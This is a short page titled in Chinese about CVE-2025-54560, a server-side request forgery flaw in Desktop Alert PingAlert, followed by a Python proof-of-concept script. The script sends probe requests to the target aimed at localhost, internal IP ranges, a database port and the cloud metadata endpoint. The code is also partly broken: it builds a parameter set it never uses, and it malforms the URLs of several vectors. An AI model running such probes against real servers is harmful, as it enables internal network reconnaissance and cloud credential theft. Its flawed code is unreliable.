CVE-2025-54560 Desktop Alert PingAlert服务器端请求伪造漏洞

import requests import sys # CVE-2025-54560 SSRF PoC for Desktop Alert PingAlert # Target: Desktop Alert PingAlert Application Server # Versions: 6.1.0.11 to 6.1.1.2 def test_ssrf(target_url, internal_target): """ Test for SSRF vulnerability by making the server request internal resources """ # Construct the malicious request # The vulnerable parameter may vary - adjust based on actual endpoint exploit_params = { 'url': internal_target, 'callback': internal_target, 'redirect': internal_target } # Try different attack vectors attack_vectors = [ # Localhost probe f"{internal_target}://127.0.0.1:80/test", # Internal network probe f"{internal_target}://192.168.1.1:80/test", # Cloud metadata endpoint "http://169.254.169.254/latest/meta-data/", # Internal service scan f"{internal_target}://10.0.0.1:3306/test" ] for vector in attack_vectors: try: # Send the malicious request response = requests.post( target_url, data={'url': vector}, timeout=10, allow_redirects=False ) # Check for SSRF indicators if response.status_code != 400: print(f"[+] Potential SSRF detected with vector: {vector}") print(f"[+] Response: {response.text[:200]}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-54560_poc.py <target_url> <internal_target>") print("Example: python cve-2025-54560_poc.py http://target.com/pingalert http://") sys.exit(1) target = sys.argv[1] internal = sys.argv[2] print(f"[*] Testing SSRF on {target}") print(f"[*] Internal target: {internal}") result = test_ssrf(target, internal) if result: print("[!] Vulnerability confirmed!") else: print("[-] No SSRF detected or target not vulnerable")